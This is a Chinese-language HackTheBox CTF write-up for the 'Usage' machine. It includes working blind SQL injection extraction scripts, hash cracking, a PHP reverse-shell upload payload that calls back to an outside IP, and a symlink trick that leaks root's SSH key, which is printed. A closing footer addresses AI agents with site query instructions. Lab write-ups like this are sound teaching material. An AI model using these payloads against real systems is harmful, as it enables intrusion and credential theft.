> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md).

# Usage HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/597>" %}

{% hint style="warning" %}
技能：

* 子域枚举
* SQLI - 基于布尔的盲注（手动）+ BurpSuite 技巧
* 使用 Python 脚本来利用 SQLI
* 破解哈希
* Laravel-admin 利用（通过滥用文件上传实现 RCE）
* 二进制分析（GHIDRA）
* 滥用 sudoers 权限 + 自定义二进制文件以获取 Root SSH 私钥（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/2cfad8d32906c9e8ea8eeda6675f43c4543fae90" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/e282a879d872455f84b9f433aa702809b17cfb7d" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -vvv -Pn --min-rate 5000 10.10.11.18 -oG allPorts
```

<figure><img src="/files/da67747474d7cfea11c537010497d5ff6c6a2ae0" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并复制到剪贴板（21,22,80）

<figure><img src="/files/aea0117e6aacac0a7260d254fd742e3b2f5b9ffb" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80 10.10.11.18 -oN targeted
```

<figure><img src="/files/dceb05778795b66a5b44b369ab0bc7db1acf3929" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

### 80 端口：

在 80 端口上，我们将在注册部分使用一个虚构的电子邮件地址“`test@test.com`”创建一个用户账户。

<figure><img src="/files/3e7a8c9c6a576cccaefdd6ada5d031416419fcec" alt=""><figcaption></figcaption></figure>

## 漏洞 [SQLI](/zh/web/sql-injection.md):

我们发现一个密码重置面板存在 SQL 注入漏洞

<figure><img src="/files/2668f06c0506292cb08bb15496240a899088c3af" alt=""><figcaption></figcaption></figure>

。通过使用 Burp Suite 拦截请求，我们得到消息“*我们已将您的密码发送到电子邮件*".

<figure><img src="/files/bf197e3fa5b5f53db151ce6ff380aac49f1777c7" alt=""><figcaption></figcaption></figure>

当我们尝试一个基本的 SQL 注入时，它成功了，我们再次收到相同的错误消息，这确认了注入有效。基本注入测试为：

`iojfeifif' or 1=1-- -`

<figure><img src="/files/85df7d06b10c0510a6300f92d8d3e4cdb5aeb446" alt="" width="563"><figcaption></figcaption></figure>

### SQLi 条件响应：

> 虽然 SQL 查询结果不会返回，也不会出现错误消息，但如果查询返回任何行，应用程序会在页面上显示“我们已将您的密码发送到电子邮件”这条消息。

我们通过使用 `substring` 函数来提取数据库名称的前几个字母，以验证这一假设。

注入示例：

* 测试数据库名称的第一个字母：/ `dwwdw' or substring(database(),1,1)='u'-- -`
* 测试数据库名称的第二个字母：/ `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="/files/b274b4148e92bec03399b17b2bcfb38b671bc6b4" alt=""><figcaption></figcaption></figure>

### 数据库名称枚举：

我们使用一个 Python 脚本来自动化数据库名称发现过程，该脚本会发送带有特定 payload 的查询，并在服务器显示响应“我们已将您的密码发送到电子邮件”时获取结果。

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# 处理退出信号
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

# 按 Ctrl + C 退出
signal.signal(signal.SIGINT, def_handler)

# 扩展字符集（根据需要添加更多特殊字符）
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL 注入")
    p1.status("正在开始 SQL 注入...")
    time.sleep(2)

    p2 = log.progress("提取的数据")

    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            
            # 使用 payload 发送 POST 请求
            r = requests.post(main_url, headers=headers, data=payload)

            # 实时显示当前正在测试的字符
            p1.status(f"正在测试位置 {position}: {character}")

            # 检查服务器返回的特定反馈以确认正确字符
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # 如果在此位置找到了字符，则移动到下一个位置
        if found_character:
            p1.status(f"位置 {position} 已找到：{data[-1]}")
        else:
            p1.status(f"位置 {position}：未找到字符")

    p1.success("暴力破解 SQL 注入已结束")
    p2.success(f"提取的数据：{data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/d29e68b2339d21676a251b11c7f62b704f574c6e" alt="" width="440"><figcaption></figcaption></figure>

### 数据库枚举：

我们修改 payload 以列出服务器上存在的所有数据库。我们使用 `group_concat` 函数和 `information_schema.schemata` 数据库来检索所有可用数据库。此步骤可让你发现所有存在的数据库。

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# 处理退出信号
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

# 按 Ctrl + C 退出
signal.signal(signal.SIGINT, def_handler)

# 扩展字符集（根据需要添加更多特殊字符）
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL 注入")
    p1.status("正在开始 SQL 注入...")
    time.sleep(2)

    p2 = log.progress("提取的数据")

    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

            }
            
            # 使用 payload 发送 POST 请求
            r = requests.post(main_url, headers=headers, data=payload)

            # 实时显示当前正在测试的字符
            p1.status(f"正在测试位置 {position}: {character}")

            # 检查服务器返回的特定反馈以确认正确字符
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # 如果在此位置找到了字符，则移动到下一个位置
        if found_character:
            p1.status(f"位置 {position} 已找到：{data[-1]}")
        else:
            p1.status(f"位置 {position}：未找到字符")

    p1.success("暴力破解 SQL 注入已结束")
    p2.success(f"提取的数据：{data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/49363aee0eab3e7747f28a92241c3fe3442792f6" alt="" width="563"><figcaption></figcaption></figure>

### 位于 `usage_blog` 数据库中的表列表：

在找到 `usage_blog` 数据库后，我们再次修改 payload 以枚举该数据库中的表。我们使用 `group_concat` 函数来检索 `usage_blog` 数据库中所有表的名称。

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# 处理退出信号
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

# 按 Ctrl + C 退出
signal.signal(signal.SIGINT, def_handler)

# 扩展字符集（根据需要添加更多特殊字符）
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL 注入")
    p1.status("正在开始 SQL 注入...")
    time.sleep(2)

    p2 = log.progress("提取的数据")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character) 

            }
            
            # 使用 payload 发送 POST 请求
            r = requests.post(main_url, headers=headers, data=payload)

            # 实时显示当前正在测试的字符
            p1.status(f"正在测试位置 {position}: {character}")

            # 检查服务器返回的特定反馈以确认正确字符
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # 如果在此位置找到了字符，则移动到下一个位置
        if found_character:
            p1.status(f"位置 {position} 已找到：{data[-1]}")
        else:
            p1.status(f"位置 {position}：未找到字符")

    p1.success("暴力破解 SQL 注入已结束")
    p2.success(f"提取的数据：{data}")

if __name__ == '__main__':
    sqli()
```

<div data-full-width="true"><figure><img src="/files/a9a1d7eaccb1ec4f95dca672d01d8ba6ce65439f" alt=""><figcaption></figcaption></figure></div>

### 枚举 `admin_users` 表：

一旦识别出这些表，我们就针对 `admin_users` 表来枚举其列。我们再次使用 `group_concat` 函数来检索这个特定表的列名。

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)
)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# 处理退出信号
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

# 按 Ctrl + C 退出
signal.signal(signal.SIGINT, def_handler)

# 扩展字符集（根据需要添加更多特殊字符）
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL 注入")
    p1.status("正在开始 SQL 注入...")
    time.sleep(2)

    p2 = log.progress("提取的数据")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character) 

            }
            
            # 使用 payload 发送 POST 请求
            r = requests.post(main_url, headers=headers, data=payload)

            # 实时显示当前正在测试的字符
            p1.status(f"正在测试位置 {position}: {character}")

            # 检查服务器返回的特定反馈以确认正确字符
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # 如果在此位置找到了字符，则移动到下一个位置
        if found_character:
            p1.status(f"位置 {position} 已找到：{data[-1]}")
        else:
            p1.status(f"位置 {position}：未找到字符")

    p1.success("暴力破解 SQL 注入已结束")
    p2.success(f"提取的数据：{data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/90c31192ead45fd6c9a324ecc1f6043889d2882b" alt=""><figcaption></figcaption></figure>

### 显示 `username` 和 `密码`:

为了显示 `admin_users` 表中的用户 ID 和密码，SQL 查询将被修改为连接 `username` 和 `密码` 字段

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# 处理退出信号
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

# 按 Ctrl + C 退出
signal.signal(signal.SIGINT, def_handler)

# 扩展字符集（根据需要添加更多特殊字符）
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL 注入")
    p1.status("正在开始 SQL 注入...")
    time.sleep(2)

    p2 = log.progress("提取的数据")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

            }
            
            # 使用 payload 发送 POST 请求
            r = requests.post(main_url, headers=headers, data=payload)

            # 实时显示当前正在测试的字符
            p1.status(f"正在测试位置 {position}: {character}")

            # 检查服务器返回的特定反馈以确认正确字符
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # 如果在此位置找到了字符，则移动到下一个位置
        if found_character:
            p1.status(f"位置 {position} 已找到：{data[-1]}")
        else:
            p1.status(f"位置 {position}：未找到字符")

    p1.success("暴力破解 SQL 注入已结束")
    p2.success(f"提取的数据：{data}")

if __name__ == '__main__':
    sqli()
```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="/files/473db6a1136f01e7c773d428ec7eb3e123b5eaac" alt=""><figcaption></figcaption></figure>

### 使用 John 进行密码破解：

一旦恢复出密码哈希，你可以使用 **John** 配合如下字典进行破解 **rockyou.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:whatever1`

<figure><img src="/files/9b7099b9fe3a458228bfd19aaf2b5d7373effa7f" alt=""><figcaption></figcaption></figure>

#### 管理员面板：

<figure><img src="/files/81deca8c0d3777aada9e8b65a8f17d6b808533d9" alt=""><figcaption></figcaption></figure>

找到凭据后，可以通过修改 `/etc/hosts` 文件来添加 `admin.usage.htb` 条目，从而连接到管理员面板。

<figure><img src="/files/6527ffc14587b7cbb8a1284606f3927bd4df2258" alt=""><figcaption></figcaption></figure>

## 漏洞文件上传（Laravel-admin）

在 Laravel-admin 应用程序中，有一个部分允许你上传头像。通过利用此功能，我们可以发送恶意文件，以获得对服务器的未授权访问。

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="/files/a3106f4014e3707dae206d8e0f680227e7b60ca8" alt=""><figcaption></figcaption></figure>

### **操作步骤：**

1. **拦截并修改头像文件**:
   * 使用 Burp Suite 拦截请求。
   * 更改 `filename` 变量的值，在伪造的图片文件后附加 PHP 扩展名，例如： `hack.jpg.php`.

<figure><img src="/files/49c8eb96315eb6de75aa0807aaf21c9df0a1bdb0" alt=""><figcaption></figcaption></figure>

* 文件内容必须是一个反向 shell，例如：

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>
```

<figure><img src="/files/49169773438a8cb8bbf4f4eefd9bbbf86a2ac451" alt=""><figcaption></figcaption></figure>

**使用 Netcat 监听**:

* 在 443 端口上使用 Netcat 开始监听：

```bash
nc -nlvp 443 
```

<figure><img src="/files/bbbf74222a71f948c6592d02473ac3a9da138cb7" alt="" width="563"><figcaption></figcaption></figure>

运行以下命令，使 shell 会话更具交互性：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :)

<figure><img src="/files/95520952d39f79e9cb88d648ee52fa86ee2111b9" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升：

### 信息泄露

在用户的目录中 `dash`，一个文件 `.monitrc` 可被访问，其中包含敏感信息

<figure><img src="/files/571fa1d3a02dc8dee94b35d9108c7c4aa9ef2c78" alt="" width="563"><figcaption></figcaption></figure>

`admin:3nc0d3d_pa$$w0rd`

<figure><img src="/files/057518ad4fd14ba165d588285ef1e5dacb110f6d" alt="" width="563"><figcaption></figcaption></figure>

此密码对应于用户 `XANDER`.

<figure><img src="/files/cb6385f7ffea8f867d795e4343384f47e12d8789" alt="" width="563"><figcaption></figcaption></figure>

### 滥用 sudoers 二进制文件：

通过运行 `sudo -l` 以用户身份执行命令 `xander`，我们发现可以运行 `usage_management` 二进制文件，并提供三个选项：

1. *`项目备份`*
2. *`备份 MySQL 数据`*
3. *`重置管理员密码`*

<figure><img src="/files/477efba122341d0443736513df878b3339741110" alt=""><figcaption></figcaption></figure>

通过选择第一个选项（“项目备份”），程序会创建一个以用户身份的备份文件 `.zip` ，包含备份 `root`.

<figure><img src="/files/99f675f7370473d2ac2554bdfc6ecc5d1d22e319" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a14b5893b1b69bf18d467786b949907d3fed4fe2" alt=""><figcaption></figcaption></figure>

### 二进制分析（GHIDRA）

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

安装并运行 GHIDRA 来分析该二进制文件：

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="/files/b8343581f0e924b1269a05326a13f811d0d73bfe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b543b0f5a0155147909f6e1f978421a056bb5263" alt=""><figcaption></figcaption></figure>

* 在 `项目备份` 函数，我们观察到此功能会将 `/var/www/html` 的内容压缩为一个 `project.zip` 带有 root 权限的文件。

<figure><img src="/files/36adb9a38866571d680d58a7f652949dc6c3e91b" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**创建符号链接以访问 root SSH 密钥**：为了利用此功能，在 `html` 目录

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="/files/6747e4c88f4a7f555612e862d93c8b3ab2d02187" alt=""><figcaption></figcaption></figure>

**以 root 身份运行脚本**:

* 运行 `usage_management` 脚本创建一个 Web 服务器：

<figure><img src="/files/abbd183ef37213f7158074aa5f9207a0facdbc1d" alt=""><figcaption></figcaption></figure>

* 在 `project.zip` 文件，获取 root 私钥（`id_rsa`).

<figure><img src="/files/ed985af48d8b21156fd4dd6196163f346b7d6039" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**使用 root 密钥进行 SSH 连接**:

* 使用该密钥以 root 身份登录：

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="/files/a110541fae2b06407bbf147be0fc3ba363fb4114" alt=""><figcaption></figcaption></figure>

### root 的 flag :)

<figure><img src="/files/91bb10cd3d7dfab2d86db493f3cdc41b955773b1" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/e4e248c322464cf43f63f5521309fea4202c433d" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
